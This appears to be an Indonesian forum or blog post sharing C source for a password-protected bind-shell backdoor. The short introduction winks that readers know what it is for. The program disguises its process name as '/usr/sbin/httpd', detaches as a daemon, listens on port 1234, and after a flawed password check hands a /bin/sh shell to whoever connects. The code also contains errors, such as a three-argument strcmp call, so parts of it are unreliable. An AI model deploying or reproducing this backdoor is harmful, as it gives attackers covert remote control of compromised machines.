Bindshell with password

Ngerti sendiri lah ini untuk apa. =))

/*
 * (original sourcenya lupa)
 * edited by zam
 * - Hotline -
 */


#define PORT 1234
#define PASS "******"
//#define PROMPT "hehe!\n"
#define SIP "[zam]-OK!\n"
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; 
struct sockaddr_in client_addr;
char login[50];

int main (int argc, char *argv[])
{
 int i;
 for(i=0;i<argc;i++) {
  memset(argv[i],'\x0',strlen(argv[i]));
 };
 strcpy(argv[0],"/usr/sbin/httpd");
 soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 if (soc_des == -1) 
  exit(-1); 
 bzero((char *) &serv_addr, sizeof(serv_addr));
 serv_addr.sin_family = AF_INET; 
 serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
 serv_addr.sin_port = htons(PORT);
 soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
 if (soc_rc != 0) 
  exit(-1);
 if (fork() != 0) 
  exit(0); 
 setpgrp();  
 signal(SIGHUP, SIG_IGN); 
 if (fork() != 0) 
  exit(0); 
 soc_rc = listen(soc_des, 5);
 if (soc_rc != 0) 
  exit(0); 
 while (1) { 
  soc_len = sizeof(client_addr);
  soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
  if (soc_cli < 0) 
   exit(0); 
  cli_pid = getpid(); 
  server_pid = fork(); 
  if (server_pid != 0) { 
   //write(soc_cli, PROMPT, sizeof(PROMPT));
   read(soc_cli, login, sizeof(login));
   if(strcmp(login, PASS, sizeof(PASS)) < 0)
    exit(0);
   write(soc_cli, SIP, sizeof(SIP));
   dup2(soc_cli,0); 
   dup2(soc_cli,1); 
   dup2(soc_cli,2);
   execl("/bin/sh","sh",(char *)0); 
   close(soc_cli); 
   exit(0); 
  }
  close(soc_cli);
 }
}